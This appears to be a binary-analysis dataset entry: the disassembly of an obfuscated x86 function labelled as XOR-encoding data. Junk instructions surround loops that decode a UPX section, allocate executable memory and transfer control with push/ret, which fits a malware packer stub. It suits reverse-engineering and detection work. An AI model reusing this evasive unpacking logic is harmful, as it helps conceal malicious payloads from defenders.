Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe0cd78bd
or ebx, ebx
add eax, ebx
popal
dec ebx
and ebx, eax
mov edx, 0
mov ebx, edi
inc ecx
sub esi, 0x6ef5efe9
not esi
mov eax, ebx
sub esi, 0x919ebf87
mov esi, ecx
sub esi, 0x9f5fc83c
mov edi, eax
not ecx
sub esi, 0x49fcac51
dec ecx
add edx, 1
add ecx, 0x7d90509b
inc ecx
cmp edx, 0x100dbcf
jne 0xa789bf
mov ecx, 0x83b0dfd
mov esi, ecx
sub ebx, 0x25be0880
not eax
inc ebx
mov edx, 0xa78796
sub eax, 0x2f407bbc
dec esi
add esi, eax
mov ecx, 0xa7898a
mov esi, 0x2941faa8
sub esi, 0xed190f77
mov ebx, dword [edx]
add eax, eax
sub eax, 0xd02046be
and ebx, 0xff
add eax, 1
and eax, esi
add esi, esi
xor dword [ecx], ebx
add esi, 1
dec eax
dec esi
inc ecx
sub esi, 0xe92500b8
add esi, esi
or edi, edi
add edx, 1
add esi, 0x72faa819
not eax
cmp ecx, entry0
jl 0xa78a2c
mov esi, eax
add esi, 1
or edi, edi
sub eax, 0x3ea7703e
sub esi, ecx
dec ecx
mov edi, 0xa7898e
add edx, 0x86bc3114
inc edx
sub ecx, 0xf693fb07
mov edi, dword [edi]
sub edx, 0x5e2df0b2
not ecx
mov edi, dword [edi]
sub ecx, ebx
not ecx
mov ecx, 0x6fbe01da
sub esp, 4
mov dword [esp], edi
sub edx, ebx
mov edx, ecx
mov edx, 0xfb4c4868
mov edi, 0xa7898a
mov ecx, 0x3f8c4fad
sub esi, ecx
mov edi, dword [edi]
sub edx, 0x25b736a
add esi, 0xee18cd77
mov edi, dword [edi]
mov edx, esi
add edx, 0x87cef785
and ebx, ebx
sub esp, 4
mov dword [esp], 0xa78992
mov esi, 0xaed9eff9
dec esi
call edi
inc ebx
add ecx, ebx
pop edi
inc edx
dec ecx
sub ebx, 0x2718d727
push 0xa7899f
mov ecx, 0xe386c412
sub edx, 0xe0e331a5
push eax
sub esi, 0xe233b4a
add edx, 0xb34ffc09
mov edx, 0xe3a4816e
call edi
sub ecx, esi
not esi
push 0x40
sub esi, 0xd997f7b9
or ecx, esi
dec ecx
push 0x3000
mov ecx, 0xb67e70e9
mov ebx, 0xf70be4cc
push 0x20000288
dec edx
mov ebx, 0xf199f8a9
push 0
mov esi, edx
or ebx, edx
sub ecx, 0x6f372f6e
call eax
mov esi, edx
mov esi, 0x648fda6c
add eax, 0x2000020a
mov esi, 0xd5c8c044
inc ecx
mov edi, 0xec35f1ad
sub ecx, esi
mov esi, ebx
mov dword [eax], edi
sub ecx, esi
sub edx, esi
mov edi, dword [eax]
not esi
and edx, esi
and edx, ebx
cmp edi, 0xec35f1ad
je 0xa78b9c
mov eax, 0
mov dword [eax], ebx
add ecx, 1
not esi
and ebx, ecx
not ebx
sub edx, ecx
add ebx, 1
inc ebx
not ebx
mov esi, section.UPX1
inc ebx
inc ebx
mov ecx, 0xa78795
sub eax, ebx
add ebx, 0x15d239f
add eax, 0x69c7e7d8
mov edi, 0
and ebx, eax
mov ebx, eax
not eax
mov edx, 0xa78796
sub eax, 0xc9658b0d
or ebx, eax
lea edx, [edi + edx]
and eax, ebx
not eax
sub eax, ebx
mov edx, dword [edx]
add ebx, 0x6ecc26a2
add eax, 0x899456a5
mov ebx, 0x4e11796
and edx, 0xff
mov ebx, 0x7a02cac5
and ebx, eax
not ebx
inc edi
sub eax, ebx
or eax, ebx
cmp edi, 0x1f4
jne 0xa78c22
mov edi, 0
and ebx, ebx
inc ebx
or eax, ebx
sub eax, 0x8cf7855a
xor dword [esi], edx
sub ebx, eax
not eax
mov ebx, eax
add esi, 2
dec eax
add eax, ebx
or eax, ebx
cmp esi, ecx
jl 0xa78bd8
add ebx, ebx
sub eax, ebx
or ebx, eax
sub eax, ebx
mov edi, section.UPX1
add ebx, 0x8c307c13
sub esi, ebx
mov ebx, esi
mov ecx, section.UPX1
not esi
dec esi
mov eax, 0xa78795
sub esi, 0x264c7451
add ebx, 0xaaa15e22
mov edx, 0
mov esi, 0xc0722ba4
add ebx, 0x2ae4fd7b
mov esi, ebx
mov dl, byte [ecx]
inc ebx
or esi, esi
mov byte [edi], dl
not ebx
sub esi, 0xad68abd9
inc edi
mov esi, 0x5c152437
and ebx, esi
add ecx, 2
add esi, 0xd0110cae
mov esi, 0xcc299e97
add esi, ebx
cmp ecx, eax
jle 0xa78c8a
add ebx, 0xf24fc8ee
add ebx, 1
dec esi
not ebx
mov ebx, 0xcc1c70af
push 0x8dc6a0
mov eax, 0xebb92b1f
add ebx, 0xa320af18
ret